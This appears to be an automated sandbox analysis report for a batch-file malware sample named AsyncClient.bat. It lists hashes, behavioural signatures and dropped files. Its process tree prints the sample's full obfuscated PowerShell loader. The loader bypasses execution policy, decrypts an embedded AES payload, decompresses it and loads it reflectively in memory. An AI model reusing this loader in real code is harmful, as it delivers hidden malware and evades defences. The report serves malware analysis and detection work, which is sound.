b26760b051260ea435c5c32f8e65cd200034495db040e58da7b453b3d57132a5

Analysis

max time kernel
22s
max time network
46s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
13/10/2022, 15:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
AsyncClient.bat
Size 49KB
Sample221013-sdvz9saed3
SHA256 b26760b051260ea435c5c32f8e65cd200034495db040e58da7b453b3d57132a5
MD5 a0e9451d4076b18065ccecb7c9c53fe1
SHA1 d857e08c60c466864f774802ffc757657867430b
SHA512 66152100e292be3f38f81566ef562f960eb5f19aec5c61fa76f06e99c7d369bde07eeb3f13dd768c2a6485e03bcac744cdd627895e4b0ca6f2f54d40e1b94f14
SSDEEP 768:dZi+G1qBA6Ti6GqSsBwcjG4xxwuYJHkaLc7RBZJqr8x6qtnz3cdPe5I9f1rWL:dTG0Xi6GqSzcPxCTVodwrY6qtnzaWCEL
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
1416	AsyncClient.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
1784	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1416	AsyncClient.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1416	AsyncClient.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1784 wrote to memory of 1416	1784	cmd.exe	28
PID 1784 wrote to memory of 1416	1784	cmd.exe	28
PID 1784 wrote to memory of 1416	1784	cmd.exe	28

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\AsyncClient.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1784
- C:\Users\Admin\AppData\Local\Temp\AsyncClient.bat.exe
  "AsyncClient.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $SwhmO = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\AsyncClient.bat').Split([Environment]::NewLine);foreach ($Jybab in $SwhmO) { if ($Jybab.StartsWith(':: ')) { $ueSRy = $Jybab.Substring(3); break; }; };$fUkPA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ueSRy);$MicvG = New-Object System.Security.Cryptography.AesManaged;$MicvG.Mode = [System.Security.Cryptography.CipherMode]::CBC;$MicvG.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$MicvG.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gccRCpv8WIY6jxnIauMjLIi0GurdZCn55tCBuXOMwkc=');$MicvG.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/kfGGbjm/okzmRemKYCs6A==');$gBcRs = $MicvG.CreateDecryptor();$fUkPA = $gBcRs.TransformFinalBlock($fUkPA, 0, $fUkPA.Length);$gBcRs.Dispose();$MicvG.Dispose();$FSfek = New-Object System.IO.MemoryStream(, $fUkPA);$xXWuz = New-Object System.IO.MemoryStream;$ZoxNY = New-Object System.IO.Compression.GZipStream($FSfek, [IO.Compression.CompressionMode]::Decompress);$ZoxNY.CopyTo($xXWuz);$ZoxNY.Dispose();$FSfek.Dispose();$xXWuz.Dispose();$fUkPA = $xXWuz.ToArray();$oOUmW = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($fUkPA);$ppCMZ = $oOUmW.EntryPoint;$ppCMZ.Invoke($null, (, [string[]] ('')))
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1416

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

AsyncClient.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\AsyncClient.bat.exe
Size 462KB
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
SSDEEP 6144:dxGRyCXBgoDhzoNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:CRZgQhIKXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

AsyncClient.bat.exe

Path \Users\Admin\AppData\Local\Temp\AsyncClient.bat.exe
Size 462KB
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
SSDEEP 6144:dxGRyCXBgoDhzoNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:CRZgQhIKXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1416-57-0x000007FEFB931000-0x000007FEFB933000-memory.dmp

Download

memory/1416-58-0x000007FEF3410000-0x000007FEF3E33000-memory.dmp

Download

memory/1416-60-0x0000000001E04000-0x0000000001E07000-memory.dmp

Download

memory/1416-59-0x000007FEF28B0000-0x000007FEF340D000-memory.dmp

Download

memory/1416-61-0x0000000001E04000-0x0000000001E07000-memory.dmp

Download

memory/1416-62-0x0000000001E0B000-0x0000000001E2A000-memory.dmp

Download